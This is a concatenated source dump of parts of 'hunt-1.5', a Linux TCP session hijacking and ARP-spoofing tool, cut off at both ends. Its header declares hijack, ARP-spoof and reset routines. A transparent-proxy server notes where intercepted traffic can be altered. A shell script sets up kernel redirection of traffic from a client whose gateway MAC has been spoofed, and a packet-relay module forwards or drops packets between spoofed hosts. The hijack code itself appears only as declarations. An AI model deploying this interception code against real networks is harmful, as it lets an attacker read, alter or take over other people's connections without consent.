3, COLOR_BLUE = 4, COLOR_MAGENTA = 5, COLOR_CYAN = 6, COLOR_LIGHTGRAY = 7, COLOR_GRAY = 8, COLOR_BRIGHTRED = 9, COLOR_BRIGHTGREEN = 10, COLOR_YELLOW = 11, COLOR_BRIGHTBLUE = 12, COLOR_BRIGHTMAGENTA = 13, COLOR_BRIGHTCYAN = 14, COLOR_WHITE = 15 }; void set_tty_color(enum TTY_COLOR color); void set_tty_color_bg(enum TTY_COLOR fg, enum TTY_COLOR bg); int is_power2(unsigned int i); int log2(unsigned int i); int count_mask(unsigned int mask); void print_data_packet(struct packet *p, int data_len, int count, int dst_packet); int sprintf_db_ports(unsigned int *ports, char *buf, int buf_size, int all); void print_data(char *label, void *data, int len); unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes); unsigned short in_cksum(unsigned short *ptr, int nbytes); int print_eth_mac(unsigned char *mac); int sprintf_eth_mac(char *b, unsigned char *mac); int tap(char *device, int promisc_mode); int rawsock(void); int get_ifc_info(char *ifc_name, unsigned int *ip, char *mac); int port_match(int port, unsigned int *db_ports); void port_htons(unsigned int *db_ports); extern unsigned char __suggest_mac[ETH_ALEN]; unsigned char *suggest_mac(void); void ctrl_c_prompt(void); void clear_scr(void); int writen(int fd, char *ptr, int nbytes); /* * resolv.c */ #define HL_MODE_NR 0 #define HL_MODE_DEFERRED 1 #define HL_MODE_NAME 2 struct resolv_item { char *name; time_t put_timestamp; time_t get_timestamp; pthread_mutex_t mutex; }; extern int hl_mode; char *host_lookup(unsigned int in, int use_mode); char *port_lookup(unsigned short serv, int use_mode); unsigned short service_lookup(char *name); void resolv_init(void); void resolv_done(void); void resolv_remove(unsigned int ip); void resolv_put(unsigned int ip, const char *name); struct resolv_item *resolv_get(unsigned int ip); void resolv_request(unsigned int ip); /* * reset connection */ /* * reset mode */ void user_rst(struct user_conn_info *uci, int count, int mode); void rst(struct conn_info *ci, int count, int rstdst); /* * * hijacking * */ extern struct list l_hijack_conn; /* * hijack */ extern int storm_reset_sec; extern int stormack_hijack_wait_sec; int user_stormack_hijack(struct user_conn_info *uci, char *cmdbuf); int stormack_hijack(struct conn_info *ci, char *cmdbuf); void func_hijack_dst(struct packet *p, struct conn_info *arg); void func_hijack_src(struct packet *p, struct conn_info *arg); /* * arphijack */ #define INPUT_MODE_RAW 0 #define INPUT_MODE_LINEECHOR 1 #define INPUT_MODE_LINEECHO 2 int user_arp_hijack(struct user_conn_info *uci, char *src_fake_mac, char *dst_fake_mac, int input_mode); void user_arp_hijack_done(char *src_fake_mac, char *dst_fake_mac); int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode); void arp_hijack_done(char *src_fake_mac, char *dst_fake_mac); /* * synchijack */ int user_hijack_sync(struct user_conn_info *uci); int hijack_sync(struct conn_info *ci); /* * arpspoof */ extern unsigned char mac_broadcast[ETH_ALEN]; extern unsigned char mac_zero[ETH_ALEN]; struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac, int refresh, int can_forward, int in_range); struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr); void stop_arp_spoof(struct arp_spoof_info *asi); void arpspoof_menu(void); void print_arp_relayer_daemon(void); int arpspoof_test(struct arp_spoof_info *asi); int user_arpspoof_test(struct arp_spoof_info *asi); void force_arp_spoof(struct arp_spoof_info *asi, int count); int run_arpspoof_until_successed(struct arp_spoof_info *asi); int user_run_arpspoof_until_successed(struct arp_spoof_info *asi); int arpspoof_exit_check(); struct arp_dont_relay { unsigned int src_addr; unsigned int dst_addr; unsigned short src_port; unsigned short dst_port; struct arp_dont_relay *next; }; struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port); void arp_dont_relay_remove(struct arp_dont_relay *adr); extern int arp_request_spoof_through_request; extern int arp_rr_count; extern int arp_spoof_switch; extern int arp_spoof_with_my_mac; /* * rstd */ #define PORT_SHIFT 16 #define PORT_MASK 0xFFFFU #define PORT_VAL(x) ((x) & (PORT_MASK)) #define PORT_INTERVAL(x) ((x) & (1 << (PORT_SHIFT))) #define PORT_SET_INTERVAL(x) ((x) |= 1 << (PORT_SHIFT)) void rstd_menu(void); void print_rst_daemon(void); /* * sniff */ void sniff_menu(void); void print_sniff_daemon(void); /* * macdisc */ void mac_discover(unsigned int ip, int count); void mac_discover_range(unsigned int start_ip, unsigned int end_ip, int count); void mac_disc_menu(void); void print_mac_daemon(); /* * tty.c */ int tty_cbreak(int fd, int wait_for_chars, int timer_dsec); int tty_raw(int fd, int wait_for_chars, int timer_dsec); int tty_reset(int fd); void tty_atexit(void); void tty_tput_reset(void); /* * addpolicy.c */ extern struct list l_add_policy; int conn_add_match(unsigned int src_addr, unsigned int dst_addr, unsigned short src_port, unsigned short dst_port); int conn_add_policy(struct iphdr *iph, struct tcphdr *tcph); void add_telnet_rlogin_policy(void); void addpolicy_list_items(void); void addpolicy_add_item(void); void addpolicy_mod_item(void); void addpolicy_del_item(void); /* * options.c */ extern int lines_o; extern int print_cntrl_chars; void options_menu(void); void lines_o_press_key(); /* * hostup.c */ void host_up(void); /* * pktrelay.c */ void relay_menu(void); int process_pktrelay(struct packet *p, struct arp_spoof_info *asi); /* * timer.c */ /* * returns number of seconds of next invocation * 0 - unregister */ typedef int (*time_func)(void *arg, int arg_sec); struct timejob { time_func j_func; void *j_arg; int j_arg_sec; struct timespec j_ts; /* private members */ struct time_job *j_next; }; void register_timejob(struct timejob *tj); void register_timejob_rel(struct timejob *tj, int relsec); void register_timejob_milsec_rel(struct timejob *tj, int milsec); void unregister_timejob(struct timejob *tj); void timer_init(void); void timer_done(void); /* * net.c * * all have to be filled with network byte order */ struct tcp_spec { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; char *src_mac; char *dst_mac; unsigned long seq; unsigned long ack_seq; unsigned short window; unsigned short id; int ack; int rst; int psh; char *data; int data_len; }; int send_tcp_packet(struct tcp_spec *ts); struct icmp_spec { unsigned int src_addr; unsigned int dst_addr; char *src_mac; char *dst_mac; short type; short code; union { struct { unsigned short id; unsigned short seq; } idseq; unsigned int res; } un; void *data; int data_len; }; int send_icmp_packet(struct icmp_spec *is); void send_icmp_request(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, unsigned short seq); int is_icmp_reply(struct packet *p, unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac); struct arp_spec { char *src_mac; char *dst_mac; int oper; char *sender_mac; unsigned long sender_addr; char *target_mac; unsigned long target_addr; }; int send_arp_packet(struct arp_spec *as); int send_packet(struct packet *p); static inline void sec_nanosleep(int sec) { struct timespec ts; ts.tv_sec = sec; ts.tv_nsec = 0; nanosleep(&ts, NULL); } #endif hunt-1.5/INSTALL100644 0 0 471 6732444323 11436 0ustar rootroot Make sure you have: glibc >= 2.0.7 with linuxthreads just type "make" and you get hunt binary You can download binary and static linked binary code also. libc5 + linuxhteads-7.X isn't tested but you can compile it and test it if you edit Makefile and uncomment #CFLAGS+=-D_WITH_LINUX_KERNEL_HDR enjoy it hunt-1.5/CHANGES100644 0 0 6457 7114736077 11437 0ustar rootroot-------- Hunt-1.5 released -------------- 30/5 printing of terminal control chars is configurable through options menu in order to watch raw/binary data connections 26/5 check sum of TCP/IP packets has been fixed. This bug caused correct packets to be dropped by hunt 26/5 Packet relaying for routers in arp relayer fixed. Thanks to Gabriel Musat for pointing the bug. 16/2/2000 initialize pointer to NULL in hash.c:hash_iter_get thanks to Kevin M. Ryan 27/10 watch calls tty_tput_reset to reset terminal (linux terminal only). print_data_packet prints hex numbers for unprintable chars -------- Hunt-1.4 released -------------- Please update your bookmark to http://www.gncz.cz/kra/index.html and ftp://ftp.gncz.cz/pub/linux/hunt/ 1/10 README.tp done 26/9 Starting work on README.tp 12/8 eth tap relay - transproxy support without my eth mac spoofing - experimental 5/7 check for to long tot_len when the packet does not set that it is a fragment - thanks to Martin Lucina 3/6-18/6 support for spoofing range of IP addresses relaying packets in arp-relayer that are sent from/to routers support for arp-spoof of hosts that are currently down relayer database for skipping specified packets tpserv/tpserv.c transproxy testing program tpsetup/transproxy script for setting transproxy support mode 31/5-4/6 ability to modify packets in arp-relayer daemon I have used hunt for discovering bug in tcp protocol stack on one embedded system and for watching traffic between these systems and unixes on switched segments - thanks hunt - I do not have to move from my chair. 26/5 man page by Jon Marler 23/5 ARP mode promisc detection 21/4 test for EUID only in main.c by Squeak -------- Hunt-1.3 released -------------- 2/4 Sendmsg and ENOBUFS in net.c 31/3 Locking bug in ARP relayer causing ARP relayer to lookup fixed thanks to Greg Ginting Locking bug (as was shown in ARP relayer) in sniffer fixed 21/3 Line mode in hijacking - useful when hijacking other connections than telnet or rlogin synchhijack fixed for read/write==0 -------- Hunt-1.2 released -------------- 15/2 fix in timer.c, single arp spoof testing on switch - fixes 11/2 rlogin policy added as default suggest mac base in options 7/2 timerjob for ARP reply when it isn't received in switched environment after ARP request README update 6/2 new connection indicator in prompt 25/1 - 3/2 Lots of debugging and fixes for switched environment thanks for testing environment to Jirka Vyhnanek and Petr Houzvik timejob addition some new items in option menu 18/1/99 dropping IP fragments as they are not handled by hunt. Hunt doesn't support defragmentation yet. dropping some malformed IP packets verbose option in menu and status bar with verbose on 7/1/99 MAC address learning from ARP request fixed some typos --------- Hunt-1.1 released ------------- 3/12/98 Compilation with Linux2.1.X check of received packet checksums 2/12/98 Added promiscuous mode detection to host up menu through ICMP echo request/reply suggested by R. Engur Pisirici (more sophisticated detection is pending) corrected serious bug in list.c (__list_remove) some fixes --------- Hunt-1.0 ------------- hunt-1.5/TODO100644 0 0 342 6726465146 11103 0ustar rootroot- command line options and configuration from config file - handling IP fragments (defragmentation before TCP processing) - handling out of order TCP segments - better TCP state machine (with better checking of seq. numbers) hunt-1.5/timer.c100644 0 0 7756 6662020650 11721 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include "hunt.h" struct list timejob_list = LIST_INIT(struct timejob, j_next); pthread_t timejob_thr; pthread_mutex_t timejob_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t timejob_cond = PTHREAD_COND_INITIALIZER; pthread_cond_t timejob_curr_cond = PTHREAD_COND_INITIALIZER; pthread_cond_t timejob_run_cond = PTHREAD_COND_INITIALIZER; struct timejob *timejob_curr = NULL; int timejob_run = 1; static int __register(struct timejob *tj) { struct list_iterator li; int i, retval; int insert_it; struct timejob *p; retval = 0; insert_it = 0; i = 0; list_iter_set(&li, &timejob_list); while ((p = list_iter_get(&li))) { if (p->j_ts.tv_sec > tj->j_ts.tv_sec || (p->j_ts.tv_sec == tj->j_ts.tv_sec && p->j_ts.tv_nsec > tj->j_ts.tv_nsec)) { insert_it = 1; break; } i++; } list_iter_end(&li); if (insert_it) { list_insert_at(&timejob_list, i, tj); if (i == 0) retval = 1; /* reschedule timer */ } else { list_enqueue(&timejob_list, tj); if (list_count(&timejob_list) == 1) retval = 1; /* reschedule timer */ } #if 0 printf("registered:\n"); list_iter_set(&li, &timejob_list); while ((p = list_iter_get(&li))) { printf("%x - %d\n", p, p->j_arg_sec); }; list_iter_end(&li); #endif return retval; } void register_timejob(struct timejob *tj) { pthread_mutex_lock(&timejob_mutex); if (__register(tj)) pthread_cond_signal(&timejob_cond); pthread_mutex_unlock(&timejob_mutex); } void register_timejob_rel(struct timejob *tj, int relsec) { struct timeval tv; gettimeofday(&tv, NULL); tj->j_ts.tv_sec = tv.tv_sec + relsec; tj->j_ts.tv_nsec = tv.tv_usec * 1000; register_timejob(tj); } void register_timejob_milsec_rel(struct timejob *tj, int milsec) { struct timeval tv; int sec, msec; gettimeofday(&tv, NULL); sec = milsec / 1000; msec = milsec % 1000; tj->j_ts.tv_sec = tv.tv_sec + sec; tj->j_ts.tv_nsec = tv.tv_usec * 1000 + msec * 1000000; register_timejob(tj); } void unregister_timejob(struct timejob *tj) { pthread_mutex_lock(&timejob_mutex); while (timejob_curr == tj) pthread_cond_wait(&timejob_curr_cond, &timejob_mutex); list_remove(&timejob_list, tj); pthread_cond_signal(&timejob_cond); pthread_mutex_unlock(&timejob_mutex); } static void *timejob_thread(void *arg) { struct timejob *tj; struct timeval tv; struct timespec timeout; int sec; setpriority(PRIO_PROCESS, getpid(), 10); pthread_mutex_lock(&timejob_mutex); while (timejob_run && pthread_kill(main_thread_id, 0) == 0) { tj = list_peek(&timejob_list); if (tj) { gettimeofday(&tv, NULL); if (tv.tv_sec > tj->j_ts.tv_sec || (tv.tv_sec == tj->j_ts.tv_sec && tv.tv_usec * 1000 >= tj->j_ts.tv_nsec)) { timejob_curr = tj; list_pop(&timejob_list); pthread_mutex_unlock(&timejob_mutex); sec = timejob_curr->j_func(timejob_curr->j_arg, timejob_curr->j_arg_sec); pthread_mutex_lock(&timejob_mutex); if (sec) { gettimeofday(&tv, NULL); tj->j_ts.tv_sec = tv.tv_sec + sec; tj->j_ts.tv_nsec = tv.tv_usec * 1000; __register(tj); } timejob_curr = NULL; pthread_cond_signal(&timejob_curr_cond); } else { /* copy timeout as the struct can be removed from the list */ timeout = tj->j_ts; pthread_cond_timedwait(&timejob_cond, &timejob_mutex, &timeout); } } else { pthread_cond_wait(&timejob_cond, &timejob_mutex); } } timejob_run = 2; pthread_cond_signal(&timejob_run_cond); pthread_mutex_unlock(&timejob_mutex); return NULL; } void timer_init(void) { if (pthread_create(&timejob_thr, NULL, timejob_thread, NULL)) exit(1); } void timer_done(void) { pthread_mutex_lock(&timejob_mutex); timejob_run = 0; pthread_cond_signal(&timejob_cond); while (timejob_run != 2 && pthread_kill(timejob_thr, 0) == 0) pthread_cond_wait(&timejob_run_cond, &timejob_mutex); pthread_mutex_unlock(&timejob_mutex); } hunt-1.5/tpserv/ 40755 0 0 0 7114731052 11642 5ustar rootroothunt-1.5/tpserv/Makefile100644 0 0 206 6776074624 13377 0ustar rootrootCC=egcs CFLAGS=-Wall -O2 -g all: tpserv tpserv: tpserv.o $(CC) -o $@ $< $(LIBS) clean: rm -f *.o distclean: clean rm -f tpserv hunt-1.5/tpserv/tpserv.c100644 0 0 20540 6776057046 13470 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1999 by kra * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * listen by default on this port */ int serv_port = 7044; #define TPSERV_VERSION "0.5" #define BUFSIZE 1460 char *prog_name = NULL; int is_daemon = 0; int verbose = 0; int tpserv_connect = 0; static int writen(int fd, char *ptr, int nbytes) { int nleft, nwritten; nleft = nbytes; while (nleft > 0) { nwritten = write(fd, ptr, nleft); if (nwritten <= 0) return(nwritten); /* error */ nleft -= nwritten; ptr += nwritten; } return(nbytes - nleft); } static int max(int v1, int v2) { return v1 > v2 ? v1 : v2; } static void log(int level, int pid, char *format, ...) { char buf[BUFSIZE]; va_list va; FILE *f; va_start(va, format); if (verbose > 1) { if (level <= LOG_ERR) f = stderr; else f = stdout; fprintf(f, "%5d: ", pid); vfprintf(f, format, va); fputc('\n', f); } else { vsnprintf(buf, sizeof(buf), format, va); syslog(level, "%s", buf); } va_end(va); } static char *print_connection(struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { static char buf[BUFSIZE]; char *p; p = buf; p += sprintf(p, "from %s:%d", inet_ntoa(from_addr->sin_addr), ntohs(from_addr->sin_port)); p += sprintf(p, " to %s:%d", inet_ntoa(to_addr->sin_addr), ntohs(to_addr->sin_port)); return buf; } static void print_read(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr, int len) { if (verbose <= 1) return; log(LOG_DEBUG, pid, "read %4d bytes %s", len, print_connection(from_addr, to_addr)); } static void print_write(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr, int len) { if (verbose <= 1) return; log(LOG_DEBUG, pid, "write %4d bytes %s", len, print_connection(from_addr, to_addr)); } static void print_connect(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { if (!verbose) return; log(LOG_DEBUG, pid, "connect %s", print_connection(from_addr, to_addr)); } static void print_disconnect(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { if (!verbose) return; log(LOG_DEBUG, pid, "disconnect %s", print_connection(from_addr, to_addr)); } #if 0 static void *memfind(const void *dst, int t_len, const void *src, int m_len) { int i; const char *t = dst, *m = src; for (i = t_len - m_len + 1 ; i > 0; i--, t++) if (t[0] == m[0] && memcmp(t, m, m_len) == 0) return (void *) t; return 0; } #endif static void process_request_echo(int fd, int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { char buf[BUFSIZE]; int len; while ((len = read(fd, buf, sizeof(buf))) > 0) { print_read(pid, from_addr, to_addr, len); if (writen(fd, buf, len) != len) break; print_write(pid, to_addr, from_addr, len); } } static void process_request_connect(int fd, int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { char buf[BUFSIZE]; struct sockaddr_in local_addr; int to_addr_len, local_addr_len; fd_set rset; int maxfd, len; int fd_remote; if ((fd_remote = socket(AF_INET, SOCK_STREAM, 0)) < 0) { log(LOG_ERR, pid, "socket failed %d:%s\n", errno, strerror(errno)); exit(1); } to_addr_len = sizeof(*to_addr); if (connect(fd_remote, to_addr, to_addr_len) < 0) { log(LOG_ERR, pid, "failed to connect to remote addr\n"); exit(1); } local_addr_len = sizeof(local_addr); if (getsockname(fd_remote, (struct sockaddr *) &local_addr, &local_addr_len) < 0) { log(LOG_ERR, pid, "getpeername failed %d:%s\n", errno, strerror(errno)); exit(1); } while (1) { FD_ZERO(&rset); FD_SET(fd, &rset); FD_SET(fd_remote, &rset); maxfd = max(fd, fd_remote) + 1; if (select(maxfd, &rset, NULL, NULL, NULL) > 0) { /* * from/to client to server (as) */ if (FD_ISSET(fd, &rset)) { if ((len = read(fd, buf, sizeof(buf))) > 0) { print_read(pid, from_addr, to_addr, len); if (writen(fd_remote, buf, len) != len) return; print_write(pid, &local_addr, to_addr, len); } else /* read eof or error */ return; } /* * from/to as to true destination server */ if (FD_ISSET(fd_remote, &rset)) { if ((len = read(fd_remote, buf, sizeof(buf))) > 0) { print_read(pid, to_addr, &local_addr, len); /* * here we can modify/insert something to the data stream * instaed of plain writen */ if (writen(fd, buf, len) != len) return; print_write(pid, to_addr, from_addr, len); } else /* read eof or error */ return; } } } } void serv_slave(int fd, int pid) { struct sockaddr_in to_addr, from_addr; int to_addr_len, from_addr_len; to_addr_len = sizeof(to_addr); memset(&to_addr, 0, sizeof(to_addr)); if (getsockname(fd, (struct sockaddr *) &to_addr, &to_addr_len) < 0) { log(LOG_ERR, pid, "getsockname failed %d:%s\n", errno, strerror(errno)); exit(1); } from_addr_len = sizeof(from_addr); memset(&from_addr, 0, sizeof(from_addr)); if (getpeername(fd, (struct sockaddr *) &from_addr, &from_addr_len) < 0) { log(LOG_ERR, pid, "getpeername failed %d:%s\n", errno, strerror(errno)); exit(1); } print_connect(pid, &from_addr, &to_addr); if (tpserv_connect) process_request_connect(fd, pid, &from_addr, &to_addr); else process_request_echo(fd, pid, &from_addr, &to_addr); close(fd); print_disconnect(pid, &from_addr, &to_addr); } void usage(const char *name) { printf("usage: %s [-V] [-v] [-h] [-D] [-c] [-p port]\n", name); exit(1); } int main(int argc, char *argv[]) { struct sockaddr_in servaddr, cliaddr; struct sigaction sa; int lfd, clifd; int child_pid; int clilen, c; int on = 1; char *tmp; if ((prog_name = rindex(argv[0], '/')) == NULL) prog_name = argv[0]; else prog_name++; while ((c = getopt(argc, argv, "p:h?vVDc")) != EOF) { switch (c) { case 'p': serv_port = strtoul(optarg, &tmp, 0); if (*tmp) { fprintf(stderr, "bad: -p %s\n", optarg); exit(1); } break; case 'V': printf("%s: version %s", prog_name, TPSERV_VERSION); exit(0); case 'v': verbose++; break; case 'D': is_daemon = 1; break; case 'c': tpserv_connect = 1; break; case 'h': case '?': default: usage(prog_name); } } memset(&sa, 0, sizeof(struct sigaction)); #ifdef SA_NOCLDWAIT sa.sa_flags = SA_NOCLDWAIT; #endif #if 0 sa.sa_flags |= SA_NOCLDSTOP; #endif sa.sa_handler = SIG_IGN; if (sigaction(SIGCHLD, &sa, NULL) < 0) { fprintf(stderr, "sigaction failed %d:%s\n", errno, strerror(errno)); exit(1); } if ((lfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "socket failed %d:%s\n", errno, strerror(errno)); exit(1); } if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) { fprintf(stderr, "setsockopt failed %d:%s\n", errno, strerror(errno)); exit(1); } if (setsockopt(lfd, SOL_SOCKET, SO_KEEPALIVE, (char *) &on, sizeof(on)) < 0) { fprintf(stderr, "setcoskopt failed %d:%s\n", errno, strerror(errno)); exit(1); } memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(serv_port); if (bind(lfd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) { fprintf(stderr, "bind failed %d:%s\n", errno, strerror(errno)); exit(1); } if (listen(lfd, 10) < 0) { fprintf(stderr, "listen failed %d:%s\n", errno, strerror(errno)); exit(1); } if (is_daemon) { daemon(0, 0); openlog(prog_name, LOG_PID, LOG_DAEMON); } if (verbose) log(LOG_DEBUG, getpid(), "ready"); for (;;) { clilen = sizeof(cliaddr); do { clifd = accept(lfd, (struct sockaddr *) &cliaddr, &clilen); } while (clifd < 0 && errno == EINTR); if (clifd < 0) { log(LOG_ERR, getpid(), "accept failed %d:%s", errno, strerror(errno)); exit(1); } if ((child_pid = fork()) == 0) { /* slave */ close(lfd); serv_slave(clifd, getpid()); /* closes clifd */ exit(0); } else if (child_pid > 0) { /* parent */ close(clifd); } else { /* fork error - ignore */ close(clifd); } } } hunt-1.5/tpsetup/ 40755 0 0 0 6775077661 12050 5ustar rootroothunt-1.5/tpsetup/transproxy100755 0 0 5200 6775100137 14302 0ustar rootroot#!/bin/sh ########################################################################### # # # This is free software. You can redistribute it and/or modify under # the terms of the GNU General Public License version 2. # # Copyright (C) 1999 by kra # ########################################################################### # # # First Generation Transproxy support # # the MAC address of the gateway on the client have to be ARP spoofed # to MAC address of host running hunt. Then the transproxy in the # kernel can pick up the packets sent by client as if they will be # sent to the gateway # # # which port to redirect # DST_PORT=7000 #DST_PORT=80 # # port with transproxy module # DST_PORT_PROXY=7044 # # forward by kernel # # when is used kernel forwarding do not start ARP relayer daemon, # the kernel will forward such a pakcets itself and thous destined # to DST_PORT will redirect to DST_PORT_PROXY # # when the kernel forwarding is not used start ARP relayer daemon # to relay packets and to relayer database enter not to forward # traffic which is aimed for transproxy KERNEL_FORWARD=1 ################################################################## # # turn forwarding on - needed for kernel transproxy to work # echo 1 >/proc/sys/net/ipv4/ip_forward # # set the default policy for the chains to accept # # # flush the chains # ipchains -F input ipchains -F forward ipchains -F output # # set transproxy from DST_PORT to DST_PORT_PROXY # ipchains -A input -p TCP -s 0.0.0.0/0 -d 0.0.0.0/0 $DST_PORT -j REDIRECT $DST_PORT_PROXY # ipfwadm untested #ipfwadm -I -a accept -P tcp -S 0.0.0.0/0 -D 0.0.0.0/0 $DST_PORT -r $DST_PORT_PROXY # # turn off ip forwarding for other traffic than transproxy # - otherwise every packet forwarded by kernel will trigger sending # the ICMP redirect message to tell the host that he should use # real gateway # # anyway it does not matter because the ARP address of gateway is ARP spoofed # on client so the client will not change anything. # # there are two approaches: # 1) forward packets with hunt relayer daemon - then start the relayer daemon # and deny forwarding in the kernel # 2) let the kernel forward them but it will also send ICMP redirect, # Linux kernel 2.2 allows as to block these redirects. # # # forwarded by kernel ? # if [ "$KERNEL_FORWARD" = 1 ]; then # # block ICMP redirects, that are send by default when we use kernel forwarding # ipchains -A output -p icmp -s 0.0.0.0/0 redirect -d 0.0.0.0/0 -j DENY ipchains -A forward -s 0.0.0.0/0 -d 0.0.0.0/0 -j ACCEPT else ipchains -A forward -s 0.0.0.0/0 -d 0.0.0.0/0 -j DENY fi # ipfwadm untested #ipfwadm -F -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 hunt-1.5/pktrelay.c100644 0 0 25023 7012763516 12444 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1999 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * * This is experimental code, do not expect mutch use of it just now * */ /* * * this packet relay module is designed for miscellaneous tasks when * relaying packets from/to spoofed hosts * */ #define RIFL_PKT_DROP 1 #define RIFL_PKT_ETHTAP_RELAY 2 struct relay_item { pthread_mutex_t mutex; pthread_cond_t lock_cond; int lock_count; unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; unsigned int flags; int ethtap_fd; char *ethtap_name; char ethtap_mac[ETH_ALEN]; struct relay_item *next; }; static struct list l_relay_db = LIST_INIT(struct relay_item, next); static void ri_want(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); ri->lock_count++; pthread_mutex_unlock(&ri->mutex); } static void ri_release(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); if (--(ri->lock_count) == 0) pthread_cond_broadcast(&ri->lock_cond); pthread_mutex_unlock(&ri->mutex); } static void ri_wait_for_release(struct relay_item *ri) { pthread_mutex_lock(&ri->mutex); while (ri->lock_count > 0) pthread_cond_wait(&ri->lock_cond, &ri->mutex); pthread_mutex_unlock(&ri->mutex); } static struct relay_item *ri_allocate() { struct relay_item *ri; ri = malloc(sizeof(struct relay_item)); assert(ri); memset(ri, 0, sizeof(struct relay_item)); pthread_mutex_init(&ri->mutex, NULL); pthread_cond_init(&ri->lock_cond, NULL); ri->ethtap_fd = -1; return ri; } static void ri_free(struct relay_item *ri) { ri_wait_for_release(ri); pthread_cond_destroy(&ri->lock_cond); pthread_mutex_destroy(&ri->mutex); if (ri->ethtap_fd >= 0) close(ri->ethtap_fd); if (ri->ethtap_name) free(ri->ethtap_name); free(ri); } static inline int packet_match_relay_item(struct packet *p, struct relay_item *ri) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((iph->saddr & ri->src_mask) == (ri->src_addr & ri->src_mask) && (iph->daddr & ri->dst_mask) == (ri->dst_addr & ri->dst_mask) && port_match(tcph->source, ri->src_ports) && port_match(tcph->dest, ri->dst_ports)) { return 1; } return 0; } static struct relay_item *packet_match_relay(struct packet *p) { struct list_iterator li; struct relay_item *ri; list_lock(&l_relay_db); list_iter_set(&li, &l_relay_db); while ((ri = list_iter_get(&li))) { if (packet_match_relay_item(p, ri)) { ri_want(ri); /* lock_count++ on relay_item */ break; } } list_iter_end(&li); list_unlock(&l_relay_db); return ri; } /* * return 0 if not interested, * this function is called from arp_relay function that run in * separate thread (relay thread) */ void ethtap_relay(struct packet *p, struct relay_item *ri) { /* int eth_hdr_len;*/ char buf[4096]; int len; struct ethhdr hdr; if (ri->ethtap_fd < 0) { printf("ethtap_relay error: ethtap_fd < 0\n"); return; } #if 0 /* write it without eth header */ printf("relay packet %s:%d to %s:%d\n", host_lookup(p->p_iph->saddr, hl_mode), ntohs(p->p_hdr.p_tcph->source), host_lookup(p->p_iph->daddr, hl_mode), ntohs(p->p_hdr.p_tcph->dest)); eth_hdr_len = (char *) p->p_iph - (char *) p->p_raw; writen(ri->ethtap_fd, (char *) p->p_iph, p->p_raw_len - eth_hdr_len); #else #if 0 struct packet *p_new; /* write it with eth header */ p_new = packet_new(); packet_copy_data(p_new, p); memcpy(p_new->p_ethh->h_dest, ri->ethtap_mac, ETH_ALEN); /* memcpy(p_new->p_ethh->h_source, , ETH_ALEN);*/ printf("relay packet\n"); writen(ri->ethtap_fd, p_new->p_raw, p_new->p_raw_len); packet_free(p_new); #endif /* write it with eth header */ buf[0] = buf[1] = 0; len = 2; memset(&hdr, 0, sizeof(struct ethhdr)); hdr.h_proto = p->p_ethh->h_proto; memcpy(buf + len, &hdr, sizeof(struct ethhdr)); len += sizeof(struct ethhdr); memcpy(buf + len, p->p_raw + sizeof(struct ethhdr), p->p_raw_len - sizeof(struct ethhdr)); len += p->p_raw_len - sizeof(struct ethhdr); printf("relay packet %s:%d to %s:%d\n", host_lookup(p->p_iph->saddr, hl_mode), ntohs(p->p_hdr.p_tcph->source), host_lookup(p->p_iph->daddr, hl_mode), ntohs(p->p_hdr.p_tcph->dest)); writen(ri->ethtap_fd, buf, len); #endif } int process_pktrelay(struct packet *p, struct arp_spoof_info *asi) { struct relay_item *ri; int retval; if (!(ri = packet_match_relay(p))) return 0; retval = 0; if (ri->flags & RIFL_PKT_DROP) { retval = 1; } if (ri->flags & RIFL_PKT_ETHTAP_RELAY) { ethtap_relay(p, ri); retval = 1; } ri_release(ri); return retval; } /* * * user interface * */ static void relay_item_print(int i, struct relay_item *ri) { char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE]; char flags[BUFSIZE]; sprintf_db_ports(ri->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(ri->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(buf, "%s/%d [%s]", host_lookup(ri->src_addr, hl_mode), count_mask(ri->src_mask), buf_src_ports); switch (ri->flags) { case RIFL_PKT_DROP: sprintf(flags, "DROP"); break; case RIFL_PKT_ETHTAP_RELAY: sprintf(flags, "ETH RELAY to %s", ri->ethtap_name); break; } printf("%2d) %-24s --> %s/%d [%s] flags %s\n", 